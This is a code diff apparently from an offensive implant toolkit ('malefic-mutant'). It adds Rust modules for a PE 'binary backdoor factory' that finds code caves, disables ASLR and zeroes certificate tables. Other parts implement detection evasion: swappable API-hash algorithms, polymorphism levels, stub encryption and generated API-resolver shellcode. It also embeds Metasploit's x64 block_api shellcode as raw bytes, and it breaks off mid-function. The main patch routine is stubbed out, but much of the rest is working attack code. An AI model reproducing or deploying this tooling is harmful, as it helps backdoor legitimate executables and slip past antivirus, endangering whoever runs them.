+ } + } + } + } + } + + if icon_images.is_empty() { + return Err(anyhow!("No icon image data found")); + } + + // Build ICO file + let count = icon_images.len() as u16; + let header_size = 6 + count as u32 * 16; + let mut ico_buf = Vec::new(); + + // ICONDIR header + ico_buf.extend_from_slice(&0u16.to_le_bytes()); // reserved + ico_buf.extend_from_slice(&1u16.to_le_bytes()); // type = ICO + ico_buf.extend_from_slice(&count.to_le_bytes()); + + // Calculate offsets for image data + let mut current_offset = header_size; + for (width, height, color_count, planes, bit_count, ref data) in &icon_images { + ico_buf.push(*width); + ico_buf.push(*height); + ico_buf.push(*color_count); + ico_buf.push(0); // reserved + ico_buf.extend_from_slice(&planes.to_le_bytes()); + ico_buf.extend_from_slice(&bit_count.to_le_bytes()); + ico_buf.extend_from_slice(&(data.len() as u32).to_le_bytes()); + ico_buf.extend_from_slice(¤t_offset.to_le_bytes()); + current_offset += data.len() as u32; + } + + // Image data + for (_, _, _, _, _, ref data) in &icon_images { + ico_buf.extend_from_slice(data); + } + + std::fs::write(output_ico_path, &ico_buf)?; + + Ok(()) +} diff --git a/malefic-mutant/src/tool/icon/resource.rs b/malefic-mutant/src/tool/icon/resource.rs new file mode 100644 index 0000000..f364233 --- /dev/null +++ b/malefic-mutant/src/tool/icon/resource.rs @@ -0,0 +1,262 @@ +/// PE resource directory tree parser for icon manipulation. +/// +/// PE resource directory structure (three-level tree): +/// Level 1: Resource type (RT_ICON=3, RT_GROUP_ICON=14, etc.) +/// Level 2: Resource name/ID +/// Level 3: Language +/// +/// Each directory entry is 8 bytes: +/// - NameOffsetOrIntegerID: u32 (high bit set = name offset, else integer ID) +/// - DataEntryOrSubdirectoryOffset: u32 (high bit set = subdirectory, else data entry) +/// +/// IMAGE_RESOURCE_DIRECTORY (16 bytes): +/// - Characteristics: u32 +/// - TimeDateStamp: u32 +/// - MajorVersion: u16 +/// - MinorVersion: u16 +/// - NumberOfNamedEntries: u16 +/// - NumberOfIdEntries: u16 +/// +/// IMAGE_RESOURCE_DATA_ENTRY (16 bytes): +/// - OffsetToData: u32 (RVA) +/// - Size: u32 +/// - CodePage: u32 +/// - Reserved: u32 +use anyhow::{anyhow, Result}; +use byteorder::{LittleEndian, ReadBytesExt}; +use std::io::{Cursor, Seek, SeekFrom}; + +/// Resource type constants. +pub const RT_ICON: u32 = 3; +pub const RT_GROUP_ICON: u32 = 14; + +/// A parsed resource data entry pointing to actual data. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct ResourceDataEntry { + /// RVA of the resource data. + pub rva: u32, + /// Size of the resource data. + pub size: u32, + /// File offset of this data entry structure (for rewriting). + pub entry_file_offset: u64, + /// File offset of the actual data (rva converted). + pub data_file_offset: u64, +} + +/// A parsed resource entry at any level. +#[derive(Debug, Clone)] +pub struct ResourceEntry { + /// Integer ID or name ID. + pub id: u32, + /// If this is a leaf: the data entry. + pub data: Option, + /// If this is a directory: child entries. + pub children: Vec, +} + +/// Information about the .rsrc section. +#[derive(Debug, Clone)] +pub struct RsrcSectionInfo { + /// Virtual address of .rsrc section. + pub virtual_address: u32, + /// File offset of .rsrc section. + pub file_offset: u32, + /// Size of .rsrc section on disk. + pub raw_size: u32, +} + +impl RsrcSectionInfo { + /// Convert an RVA within .rsrc to a file offset. + pub fn rva_to_file_offset(&self, rva: u32) -> u64 { + (rva - self.virtual_address + self.file_offset) as u64 + } + + /// Convert a file offset within .rsrc to an RVA. + #[allow(dead_code)] + pub fn file_offset_to_rva(&self, offset: u64) -> u32 { + (offset as u32 - self.file_offset) + self.virtual_address + } +} + +/// Find the .rsrc section in a PE file using goblin. +pub fn find_rsrc_section(pe_data: &[u8]) -> Result { + let pe = goblin::pe::PE::parse(pe_data).map_err(|e| anyhow!("Failed to parse PE: {}", e))?; + + for section in &pe.sections { + let name = String::from_utf8_lossy(§ion.name); + if name.starts_with(".rsrc") { + return Ok(RsrcSectionInfo { + virtual_address: section.virtual_address, + file_offset: section.pointer_to_raw_data, + raw_size: section.size_of_raw_data, + }); + } + } + + Err(anyhow!("No .rsrc section found in PE file")) +} + +/// Parse the resource directory tree from .rsrc section data. +/// `rsrc_data` is the raw bytes of the .rsrc section. +/// Returns the top-level resource entries. +pub fn parse_resource_directory( + rsrc_data: &[u8], + rsrc_info: &RsrcSectionInfo, +) -> Result> { + let mut cursor = Cursor::new(rsrc_data); + parse_directory_level(&mut cursor, 0, rsrc_data, rsrc_info) +} + +fn parse_directory_level( + cursor: &mut Cursor<&[u8]>, + offset: u32, + rsrc_data: &[u8], + rsrc_info: &RsrcSectionInfo, +) -> Result> { + cursor.seek(SeekFrom::Start(offset as u64))?; + + // IMAGE_RESOURCE_DIRECTORY (16 bytes) + let _characteristics = cursor.read_u32::()?; + let _timestamp = cursor.read_u32::()?; + let _major_version = cursor.read_u16::()?; + let _minor_version = cursor.read_u16::()?; + let num_named = cursor.read_u16::()?; + let num_id = cursor.read_u16::()?; + + let total_entries = num_named as u32 + num_id as u32; + let mut entries = Vec::with_capacity(total_entries as usize); + + for _ in 0..total_entries { + let name_or_id = cursor.read_u32::()?; + let data_or_subdir = cursor.read_u32::()?; + + let id = name_or_id & 0x7FFFFFFF; + let is_subdir = (data_or_subdir & 0x80000000) != 0; + + if is_subdir { + let subdir_offset = data_or_subdir & 0x7FFFFFFF; + let saved_pos = cursor.position(); + let children = parse_directory_level(cursor, subdir_offset, rsrc_data, rsrc_info)?; + cursor.seek(SeekFrom::Start(saved_pos))?; + entries.push(ResourceEntry { + id, + data: None, + children, + }); + } else { + // Data entry + let data_entry_offset = data_or_subdir; + let saved_pos = cursor.position(); + cursor.seek(SeekFrom::Start(data_entry_offset as u64))?; + + let rva = cursor.read_u32::()?; + let size = cursor.read_u32::()?; + let _code_page = cursor.read_u32::()?; + let _reserved = cursor.read_u32::()?; + + let data_file_offset = rsrc_info.rva_to_file_offset(rva); + let entry_file_offset = rsrc_info.file_offset as u64 + data_entry_offset as u64; + + cursor.seek(SeekFrom::Start(saved_pos))?; + entries.push(ResourceEntry { + id, + data: Some(ResourceDataEntry { + rva, + size, + entry_file_offset, + data_file_offset, + }), + children: Vec::new(), + }); + } + } + + Ok(entries) +} + +/// Find all RT_ICON data entries in the resource tree. +#[allow(dead_code)] +pub fn find_icon_entries(entries: &[ResourceEntry]) -> Vec<&ResourceDataEntry> { + let mut result = Vec::new(); + for entry in entries { + if entry.id == RT_ICON { + collect_data_entries(&entry.children, &mut result); + } + } + result +} + +/// Find all RT_GROUP_ICON data entries in the resource tree. +pub fn find_group_icon_entries(entries: &[ResourceEntry]) -> Vec<&ResourceDataEntry> { + let mut result = Vec::new(); + for entry in entries { + if entry.id == RT_GROUP_ICON { + collect_data_entries(&entry.children, &mut result); + } + } + result +} + +/// Recursively collect all leaf data entries. +fn collect_data_entries<'a>(entries: &'a [ResourceEntry], result: &mut Vec<&'a ResourceDataEntry>) { + for entry in entries { + if let Some(ref data) = entry.data { + result.push(data); + } + if !entry.children.is_empty() { + collect_data_entries(&entry.children, result); + } + } +} + +/// Parse a GRPICONDIR from raw resource data to extract icon IDs and sizes. +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct GrpIconDirEntry { + pub width: u8, + pub height: u8, + pub color_count: u8, + pub planes: u16, + pub bit_count: u16, + pub bytes_in_res: u32, + pub id: u16, +} + +pub fn parse_grp_icon_dir(data: &[u8]) -> Result> { + if data.len() < 6 { + return Err(anyhow!("GRPICONDIR too small")); + } + + let count = u16::from_le_bytes([data[4], data[5]]) as usize; + let expected_size = 6 + count * 14; + + if data.len() < expected_size { + return Err(anyhow!( + "GRPICONDIR truncated: need {} bytes, got {}", + expected_size, + data.len() + )); + } + + let mut entries = Vec::with_capacity(count); + for i in 0..count { + let off = 6 + i * 14; + entries.push(GrpIconDirEntry { + width: data[off], + height: data[off + 1], + color_count: data[off + 2], + planes: u16::from_le_bytes([data[off + 4], data[off + 5]]), + bit_count: u16::from_le_bytes([data[off + 6], data[off + 7]]), + bytes_in_res: u32::from_le_bytes([ + data[off + 8], + data[off + 9], + data[off + 10], + data[off + 11], + ]), + id: u16::from_le_bytes([data[off + 12], data[off + 13]]), + }); + } + + Ok(entries) +} diff --git a/malefic-mutant/src/tool/loader/bdf/evasion.rs b/malefic-mutant/src/tool/loader/bdf/evasion.rs new file mode 100644 index 0000000..1166ea8 --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/evasion.rs @@ -0,0 +1,383 @@ +//! Stub evasion types: hash algorithm selection, polymorphic level, encryption toggle. +#![allow(dead_code)] + +use anyhow::{anyhow, Result}; + +/// Hash algorithm for block_api resolver +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum HashAlgorithm { + /// Original Metasploit ror13 (default, backward compatible) + Ror13, + /// DJB2: hash = hash * 33 + c, init = 5381 + Djb2, + /// FNV-1a: hash = (hash ^ c) * 0x01000193, init = 0x811c9dc5 + Fnv1a, +} + +impl HashAlgorithm { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "ror13" => Ok(Self::Ror13), + "djb2" => Ok(Self::Djb2), + "fnv1a" | "fnv" => Ok(Self::Fnv1a), + _ => Err(anyhow!( + "Unknown hash algorithm: '{}'. Available: ror13, djb2, fnv1a", + s + )), + } + } + + pub fn list() -> &'static [&'static str] { + &["ror13", "djb2", "fnv1a"] + } + + /// Pick a random non-ror13 algorithm + pub fn random_non_default() -> Self { + use std::time::{SystemTime, UNIX_EPOCH}; + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as usize; + let choices = [Self::Djb2, Self::Fnv1a]; + choices[seed % choices.len()] + } +} + +impl std::fmt::Display for HashAlgorithm { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Ror13 => write!(f, "ror13"), + Self::Djb2 => write!(f, "djb2"), + Self::Fnv1a => write!(f, "fnv1a"), + } + } +} + +/// Polymorphic transformation level +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] +pub enum PolyLevel { + /// No polymorphism (deterministic output) + None, + /// Register reallocation only + RegShuffle, + /// Full: reg shuffle + equivalent instruction substitution + junk insertion + Full, +} + +impl PolyLevel { + pub fn from_str(s: &str) -> Result { + match s.to_lowercase().as_str() { + "none" => Ok(Self::None), + "reg" | "regshuffle" | "reg_shuffle" => Ok(Self::RegShuffle), + "full" => Ok(Self::Full), + _ => Err(anyhow!( + "Unknown poly level: '{}'. Available: none, reg, full", + s + )), + } + } +} + +impl std::fmt::Display for PolyLevel { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::None => write!(f, "none"), + Self::RegShuffle => write!(f, "reg_shuffle"), + Self::Full => write!(f, "full"), + } + } +} + +/// Stub evasion configuration (A+B+C layers combined) +#[derive(Debug, Clone)] +pub struct StubEvasion { + /// A-layer: hash algorithm selection + pub hash_algorithm: HashAlgorithm, + /// B-layer: polymorphic transformation level + pub poly_level: PolyLevel, + /// C-layer: stub self-decryption wrapper + pub encrypt: bool, + /// RNG seed (0 = random from OS) + pub seed: u64, +} + +impl Default for StubEvasion { + fn default() -> Self { + Self { + hash_algorithm: HashAlgorithm::Ror13, + poly_level: PolyLevel::None, + encrypt: false, + seed: 0, + } + } +} + +impl StubEvasion { + /// Check if any evasion is enabled + pub fn is_enabled(&self) -> bool { + self.hash_algorithm != HashAlgorithm::Ror13 + || self.poly_level != PolyLevel::None + || self.encrypt + } + + /// Create from evasion preset string + pub fn from_preset(preset: &str) -> Result { + match preset.to_lowercase().as_str() { + "none" => Ok(Self::default()), + "basic" => Ok(Self { + hash_algorithm: HashAlgorithm::random_non_default(), + poly_level: PolyLevel::None, + encrypt: false, + seed: 0, + }), + "poly" => Ok(Self { + hash_algorithm: HashAlgorithm::random_non_default(), + poly_level: PolyLevel::Full, + encrypt: false, + seed: 0, + }), + "full" => Ok(Self { + hash_algorithm: HashAlgorithm::random_non_default(), + poly_level: PolyLevel::Full, + encrypt: true, + seed: 0, + }), + _ => Err(anyhow!( + "Unknown evasion preset: '{}'. Available: none, basic, poly, full", + preset + )), + } + } +} + +/// Pre-computed API hash table for a specific algorithm +#[derive(Debug, Clone)] +pub struct ApiHashTable { + pub virtual_alloc: u32, + pub create_thread: u32, + pub wait_for_single_object: u32, + pub sleep: u32, + pub convert_thread_to_fiber: u32, + pub create_fiber: u32, + pub switch_to_fiber: u32, + pub queue_user_apc: u32, + pub load_library_a: u32, + pub enum_system_locales_a: u32, + pub nt_test_alert: u32, + pub nt_create_thread_ex: u32, + pub tp_alloc_work: u32, + pub tp_post_work: u32, + pub tp_release_work: u32, + pub enum_fonts_a: u32, + pub get_dc: u32, +} + +// ===== Hash computation functions ===== + +/// Compute ror13 module hash (UTF-16LE with null terminator, uppercase) +fn ror13_module_hash(name: &str) -> u32 { + let mut hash: u32 = 0; + // Process as UTF-16LE bytes (including null terminator) + let upper = name.to_uppercase(); + let utf16: Vec = upper.encode_utf16().chain(std::iter::once(0u16)).collect(); + let bytes: Vec = utf16.iter().flat_map(|c| c.to_le_bytes()).collect(); + for &b in &bytes { + hash = hash.rotate_right(13); + hash = hash.wrapping_add(b as u32); + } + hash +} + +/// Compute ror13 function hash (ASCII with null terminator) +fn ror13_func_hash(name: &str) -> u32 { + let mut hash: u32 = 0; + for &b in name.as_bytes().iter().chain(std::iter::once(&0u8)) { + hash = hash.rotate_right(13); + hash = hash.wrapping_add(b as u32); + } + hash +} + +/// Compute DJB2 module hash (UTF-16LE with null terminator, uppercase) +fn djb2_module_hash(name: &str) -> u32 { + let mut hash: u32 = 5381; + let upper = name.to_uppercase(); + let utf16: Vec = upper.encode_utf16().chain(std::iter::once(0u16)).collect(); + let bytes: Vec = utf16.iter().flat_map(|c| c.to_le_bytes()).collect(); + for &b in &bytes { + hash = hash.wrapping_mul(33).wrapping_add(b as u32); + } + hash +} + +/// Compute DJB2 function hash (ASCII with null terminator) +fn djb2_func_hash(name: &str) -> u32 { + let mut hash: u32 = 5381; + for &b in name.as_bytes().iter().chain(std::iter::once(&0u8)) { + hash = hash.wrapping_mul(33).wrapping_add(b as u32); + } + hash +} + +/// Compute FNV-1a module hash (UTF-16LE with null terminator, uppercase) +fn fnv1a_module_hash(name: &str) -> u32 { + let mut hash: u32 = 0x811c9dc5; + let upper = name.to_uppercase(); + let utf16: Vec = upper.encode_utf16().chain(std::iter::once(0u16)).collect(); + let bytes: Vec = utf16.iter().flat_map(|c| c.to_le_bytes()).collect(); + for &b in &bytes { + hash ^= b as u32; + hash = hash.wrapping_mul(0x01000193); + } + hash +} + +/// Compute FNV-1a function hash (ASCII with null terminator) +fn fnv1a_func_hash(name: &str) -> u32 { + let mut hash: u32 = 0x811c9dc5; + for &b in name.as_bytes().iter().chain(std::iter::once(&0u8)) { + hash ^= b as u32; + hash = hash.wrapping_mul(0x01000193); + } + hash +} + +/// Compute combined API hash for a given algorithm +pub fn compute_api_hash(algo: &HashAlgorithm, module: &str, function: &str) -> u32 { + match algo { + HashAlgorithm::Ror13 => ror13_module_hash(module).wrapping_add(ror13_func_hash(function)), + HashAlgorithm::Djb2 => djb2_module_hash(module).wrapping_add(djb2_func_hash(function)), + HashAlgorithm::Fnv1a => fnv1a_module_hash(module).wrapping_add(fnv1a_func_hash(function)), + } +} + +/// Build hash table for a given algorithm +pub fn build_hash_table(algo: &HashAlgorithm) -> ApiHashTable { + ApiHashTable { + virtual_alloc: compute_api_hash(algo, "kernel32.dll", "VirtualAlloc"), + create_thread: compute_api_hash(algo, "kernel32.dll", "CreateThread"), + wait_for_single_object: compute_api_hash(algo, "kernel32.dll", "WaitForSingleObject"), + sleep: compute_api_hash(algo, "kernel32.dll", "Sleep"), + convert_thread_to_fiber: compute_api_hash(algo, "kernel32.dll", "ConvertThreadToFiber"), + create_fiber: compute_api_hash(algo, "kernel32.dll", "CreateFiber"), + switch_to_fiber: compute_api_hash(algo, "kernel32.dll", "SwitchToFiber"), + queue_user_apc: compute_api_hash(algo, "kernel32.dll", "QueueUserAPC"), + load_library_a: compute_api_hash(algo, "kernel32.dll", "LoadLibraryA"), + enum_system_locales_a: compute_api_hash(algo, "kernel32.dll", "EnumSystemLocalesA"), + nt_test_alert: compute_api_hash(algo, "ntdll.dll", "NtTestAlert"), + nt_create_thread_ex: compute_api_hash(algo, "ntdll.dll", "NtCreateThreadEx"), + tp_alloc_work: compute_api_hash(algo, "ntdll.dll", "TpAllocWork"), + tp_post_work: compute_api_hash(algo, "ntdll.dll", "TpPostWork"), + tp_release_work: compute_api_hash(algo, "ntdll.dll", "TpReleaseWork"), + enum_fonts_a: compute_api_hash(algo, "gdi32.dll", "EnumFontsA"), + get_dc: compute_api_hash(algo, "user32.dll", "GetDC"), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_ror13_known_hashes() { + // Cross-validate against known ror13 constants from pe.rs + let table = build_hash_table(&HashAlgorithm::Ror13); + assert_eq!( + table.virtual_alloc, 0xe553a458, + "VirtualAlloc hash mismatch" + ); + assert_eq!( + table.create_thread, 0x160d6838, + "CreateThread hash mismatch" + ); + assert_eq!( + table.wait_for_single_object, 0x601d8708, + "WaitForSingleObject hash mismatch" + ); + assert_eq!(table.sleep, 0xe035f044, "Sleep hash mismatch"); + assert_eq!( + table.queue_user_apc, 0x3e8802d6, + "QueueUserAPC hash mismatch" + ); + assert_eq!(table.nt_test_alert, 0xf3afa26d, "NtTestAlert hash mismatch"); + assert_eq!( + table.load_library_a, 0x0726774c, + "LoadLibraryA hash mismatch" + ); + assert_eq!(table.enum_fonts_a, 0xf2108379, "EnumFontsA hash mismatch"); + assert_eq!(table.get_dc, 0x5c2f01fc, "GetDC hash mismatch"); + } + + #[test] + fn test_djb2_different_from_ror13() { + let ror13 = build_hash_table(&HashAlgorithm::Ror13); + let djb2 = build_hash_table(&HashAlgorithm::Djb2); + assert_ne!(ror13.virtual_alloc, djb2.virtual_alloc); + assert_ne!(ror13.create_thread, djb2.create_thread); + } + + #[test] + fn test_fnv1a_different_from_ror13() { + let ror13 = build_hash_table(&HashAlgorithm::Ror13); + let fnv1a = build_hash_table(&HashAlgorithm::Fnv1a); + assert_ne!(ror13.virtual_alloc, fnv1a.virtual_alloc); + assert_ne!(ror13.create_thread, fnv1a.create_thread); + } + + #[test] + fn test_hash_table_no_collisions() { + // Verify no two different APIs produce the same hash within each algorithm + for algo in &[ + HashAlgorithm::Ror13, + HashAlgorithm::Djb2, + HashAlgorithm::Fnv1a, + ] { + let t = build_hash_table(algo); + let hashes = vec![ + t.virtual_alloc, + t.create_thread, + t.wait_for_single_object, + t.sleep, + t.convert_thread_to_fiber, + t.create_fiber, + t.switch_to_fiber, + t.queue_user_apc, + t.load_library_a, + t.enum_system_locales_a, + t.nt_test_alert, + t.nt_create_thread_ex, + t.tp_alloc_work, + t.tp_post_work, + t.tp_release_work, + t.enum_fonts_a, + t.get_dc, + ]; + let unique: std::collections::HashSet = hashes.iter().cloned().collect(); + assert_eq!( + hashes.len(), + unique.len(), + "Hash collision detected for algorithm {:?}", + algo + ); + } + } + + #[test] + fn test_evasion_presets() { + let none = StubEvasion::from_preset("none").unwrap(); + assert_eq!(none.hash_algorithm, HashAlgorithm::Ror13); + assert_eq!(none.poly_level, PolyLevel::None); + assert!(!none.encrypt); + + let full = StubEvasion::from_preset("full").unwrap(); + assert_ne!(full.hash_algorithm, HashAlgorithm::Ror13); + assert_eq!(full.poly_level, PolyLevel::Full); + assert!(full.encrypt); + } + + #[test] + fn test_evasion_is_enabled() { + assert!(!StubEvasion::default().is_enabled()); + assert!(StubEvasion::from_preset("basic").unwrap().is_enabled()); + } +} diff --git a/malefic-mutant/src/tool/loader/bdf/mod.rs b/malefic-mutant/src/tool/loader/bdf/mod.rs new file mode 100644 index 0000000..874745f --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/mod.rs @@ -0,0 +1,44 @@ +//! Binary backdoor factory - PE code cave injection and section addition + +pub mod evasion; +pub mod pe; +pub mod resolver; + +/// Describes a contiguous block of null bytes inside a PE section. +#[derive(Debug, Clone)] +pub struct CodeCave { + pub section_name: String, + pub section_index: usize, + pub start: u64, + pub end: u64, + pub virtual_address: u64, + pub size: usize, +} + +/// Scan raw section data for runs of null bytes that meet `min_size`. +pub fn find_caves(data: &[u8], min_size: usize) -> Vec { + let mut caves = Vec::new(); + let mut i = 0; + while i < data.len() { + if data[i] == 0 { + let start = i; + while i < data.len() && data[i] == 0 { + i += 1; + } + let size = i - start; + if size >= min_size { + caves.push(CodeCave { + section_name: String::new(), + section_index: 0, + start: start as u64, + end: i as u64, + virtual_address: 0, + size, + }); + } + } else { + i += 1; + } + } + caves +} diff --git a/malefic-mutant/src/tool/loader/bdf/pe.rs b/malefic-mutant/src/tool/loader/bdf/pe.rs new file mode 100644 index 0000000..8ea6489 --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/pe.rs @@ -0,0 +1,230 @@ +//! PE (Portable Executable) backdooring engine +//! +//! Supports: +//! - PE header parsing and information extraction +//! - Code cave discovery +//! - ASLR disable, certificate table zeroing +#![allow(dead_code)] + +use super::evasion::StubEvasion; +use super::{find_caves, CodeCave}; +use anyhow::{anyhow, Result}; +use goblin::pe::PE; + +/// PE file information +#[derive(Debug)] +pub struct PeInfo { + pub is_64bit: bool, + pub machine_type: u16, + pub entry_point: u64, + pub image_base: u64, + pub section_alignment: u32, + pub file_alignment: u32, + pub number_of_sections: u16, + pub size_of_image: u32, + pub size_of_headers: u32, + pub cert_table_offset: u64, + pub cert_table_size: u32, +} + +/// Thread wait strategy after shellcode execution in the stub +#[derive(Debug, Clone)] +pub enum ThreadWait { + None, + WaitInfinite, + Sleep(u32), +} + +/// Execution technique for the stub +#[derive(Debug, Clone)] +pub enum ExecutionTechnique { + Direct, + CreateThread, +} + +impl std::fmt::Display for ExecutionTechnique { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Direct => write!(f, "direct"), + Self::CreateThread => write!(f, "create_thread"), + } + } +} + +impl ExecutionTechnique { + pub fn from_str(s: &str) -> Result { + match s { + "direct" | "func_ptr" => Ok(Self::Direct), + "create_thread" => Ok(Self::CreateThread), + _ => Err(anyhow!( + "Unknown technique: '{}'. Community edition supports: direct, create_thread", + s + )), + } + } + + pub fn list() -> &'static [&'static str] { + &["direct", "create_thread"] + } + + pub fn is_synchronous(&self) -> bool { + matches!(self, Self::Direct) + } +} + +/// Options for PE patching +#[derive(Debug, Clone)] +pub struct PatchPeOptions { + pub add_section: bool, + pub section_name: String, + pub min_cave_size: usize, + pub disable_aslr: bool, + pub zero_cert: bool, + pub thread_wait: ThreadWait, + pub execution_technique: ExecutionTechnique, + pub evasion: StubEvasion, +} + +impl Default for PatchPeOptions { + fn default() -> Self { + Self { + add_section: false, + section_name: ".sdata".to_string(), + min_cave_size: 380, + disable_aslr: true, + zero_cert: true, + thread_wait: ThreadWait::None, + execution_technique: ExecutionTechnique::CreateThread, + evasion: StubEvasion::default(), + } + } +} + +/// Main orchestrator: patch a PE binary with shellcode +/// +/// Patch a PE binary with shellcode (not implemented) +pub fn patch_pe(_data: &[u8], _shellcode: &[u8], _options: &PatchPeOptions) -> Result> { + Err(anyhow!("PE patching with stub generation is not available in this build")) +} + +/// Gather PE file information from parsed headers +pub fn gather_pe_info(pe: &PE, _data: &[u8]) -> Result { + let header = &pe.header; + let optional = header + .optional_header + .ok_or_else(|| anyhow!("No optional header"))?; + + let is_64bit = optional.standard_fields.magic == 0x20B; + + let (cert_offset, cert_size) = + if let Some(data_dirs) = optional.data_directories.get_certificate_table() { + (data_dirs.virtual_address as u64, data_dirs.size) + } else { + (0, 0) + }; + + Ok(PeInfo { + is_64bit, + machine_type: header.coff_header.machine, + entry_point: optional.standard_fields.address_of_entry_point as u64, + image_base: optional.windows_fields.image_base, + section_alignment: optional.windows_fields.section_alignment, + file_alignment: optional.windows_fields.file_alignment, + number_of_sections: header.coff_header.number_of_sections, + size_of_image: optional.windows_fields.size_of_image, + size_of_headers: optional.windows_fields.size_of_headers, + cert_table_offset: cert_offset, + cert_table_size: cert_size, + }) +} + +/// Find code caves in PE sections +pub fn find_pe_caves(pe: &PE, data: &[u8], min_size: usize) -> Vec { + let mut all_caves = Vec::new(); + + for (idx, section) in pe.sections.iter().enumerate() { + let name = String::from_utf8_lossy(§ion.name) + .trim_end_matches('\0') + .to_string(); + let start = section.pointer_to_raw_data as usize; + let raw_size = section.size_of_raw_data as usize; + let va = section.virtual_address; + + if start + raw_size > data.len() || raw_size == 0 { + continue; + } + + let section_data = &data[start..start + raw_size]; + let mut caves = find_caves(section_data, min_size); + + for cave in &mut caves { + let offset_in_section = cave.start; + cave.section_name = name.clone(); + cave.section_index = idx; + cave.start += start as u64; + cave.end += start as u64; + cave.virtual_address = va as u64 + offset_in_section; + } + + all_caves.extend(caves); + } + + all_caves +} + +/// Disable ASLR by clearing DYNAMIC_BASE flag in DllCharacteristics +pub fn disable_aslr(data: &mut [u8], pe: &PE) -> Result<()> { + let pe_offset = pe.header.dos_header.pe_pointer as usize; + let dll_char_offset = pe_offset + 24 + 0x46; + if dll_char_offset + 2 <= data.len() { + let current = u16::from_le_bytes([data[dll_char_offset], data[dll_char_offset + 1]]); + let new_val = current & !0x40; + data[dll_char_offset..dll_char_offset + 2].copy_from_slice(&new_val.to_le_bytes()); + } + Ok(()) +} + +/// Standard Metasploit ror13 block_api resolver for x64 (192 bytes). +/// +/// This is used by the resolver module for the Ror13 hash algorithm variant. +#[rustfmt::skip] +pub static BLOCK_API: [u8; 192] = [ + 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, + 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, + 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, + 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xf1, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, + 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, + 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, + 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, + 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, + 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, + 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, + 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, + 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, +]; + +/// Zero out the certificate table pointer +pub fn zero_cert_table(data: &mut [u8], pe: &PE) -> Result<()> { + let pe_offset = pe.header.dos_header.pe_pointer as usize; + let optional_offset = pe_offset + 24; + + let is_64bit = pe + .header + .optional_header + .map(|h| h.standard_fields.magic == 0x20B) + .unwrap_or(false); + + let cert_dir_offset = if is_64bit { + optional_offset + 144 + } else { + optional_offset + 128 + }; + + if cert_dir_offset + 8 <= data.len() { + for i in 0..8 { + data[cert_dir_offset + i] = 0; + } + } + + Ok(()) +} diff --git a/malefic-mutant/src/tool/loader/bdf/resolver.rs b/malefic-mutant/src/tool/loader/bdf/resolver.rs new file mode 100644 index 0000000..46bc124 --- /dev/null +++ b/malefic-mutant/src/tool/loader/bdf/resolver.rs @@ -0,0 +1,392 @@ +//! Dynamic block_api resolver generation for different hash algorithms. +//! +//! Generates position-independent x64 API resolvers that use the same +//! PEB walk + export table traversal structure but with different hash kernels. + +use super::evasion::HashAlgorithm; + +/// Generate a block_api resolver for the given hash algorithm (x64). +/// +/// The resolver follows the same calling convention as Metasploit's block_api: +/// - Input: r10d = target hash +/// - Output: jumps to resolved function (function returns to caller) +/// - Clobbers: rax, rcx, rdx, rsi, r8, r9 (saved/restored internally) +/// +/// Returns the raw bytes of the resolver. +pub fn generate_block_api_x64(algo: &HashAlgorithm) -> Vec { + match algo { + HashAlgorithm::Ror13 => { + // Return the original Metasploit ror13 resolver + super::pe::BLOCK_API.to_vec() + } + HashAlgorithm::Djb2 => generate_djb2_resolver_x64(), + HashAlgorithm::Fnv1a => generate_fnv1a_resolver_x64(), + } +} + +/// DJB2 resolver: hash = hash * 33 + c, init = 5381 +/// +/// Structure mirrors ror13 block_api but replaces hash computation. +fn generate_djb2_resolver_x64() -> Vec { + let mut code = Vec::with_capacity(220); + + // === Save registers (same as ror13 block_api) === + code.extend_from_slice(&[0x41, 0x51]); // push r9 + code.extend_from_slice(&[0x41, 0x50]); // push r8 + code.push(0x52); // push rdx + code.push(0x51); // push rcx + code.push(0x56); // push rsi + + // === PEB walk === + 